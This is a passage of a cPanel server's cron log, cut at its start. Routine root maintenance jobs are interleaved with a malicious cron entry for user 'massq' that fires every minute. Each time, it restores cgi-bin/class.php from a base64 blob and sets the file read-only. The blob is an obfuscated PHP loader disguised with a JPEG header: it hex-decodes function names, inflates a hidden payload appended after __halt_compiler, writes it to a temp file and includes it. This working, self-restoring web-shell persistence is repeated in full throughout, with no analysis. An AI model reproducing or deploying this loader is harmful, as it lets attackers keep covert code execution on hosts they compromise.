OyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 08:23:01 server CROND[23883]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 08:24:01 server CROND[23952]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 08:25:01 server CROND[24025]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 08:25:01 server CROND[24026]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr 10 08:25:01 server CROND[24027]: (root) CMD (/usr/local/cpanel/bin/mysqluserstore >/dev/null 2>&1)
Apr 10 08:25:01 server CROND[24024]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr 10 08:26:01 server CROND[24153]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 08:27:01 server CROND[24307]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 08:27:01 server CROND[24308]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Apr 10 08:28:01 server CROND[24372]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 08:29:01 server CROND[24458]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 08:30:01 server CROND[24538]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Apr 10 08:30:01 server CROND[24539]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr 10 08:30:01 server CROND[24541]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 08:30:01 server CROND[24542]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/scripts/update_db_cache && /usr/local/cpanel/scripts/update_db_cache)
Apr 10 08:30:01 server CROND[24540]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr 10 08:31:01 server CROND[24697]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 08:32:01 server CROND[24856]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 08:33:01 server CROND[24951]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 08:34:01 server CROND[25016]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 08:35:01 server CROND[25086]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check && /usr/local/cpanel/bin/tail-check)
Apr 10 08:35:01 server CROND[25087]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr 10 08:35:01 server CROND[25090]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr 10 08:35:01 server CROND[25092]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Apr 10 08:35:01 server CROND[25093]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
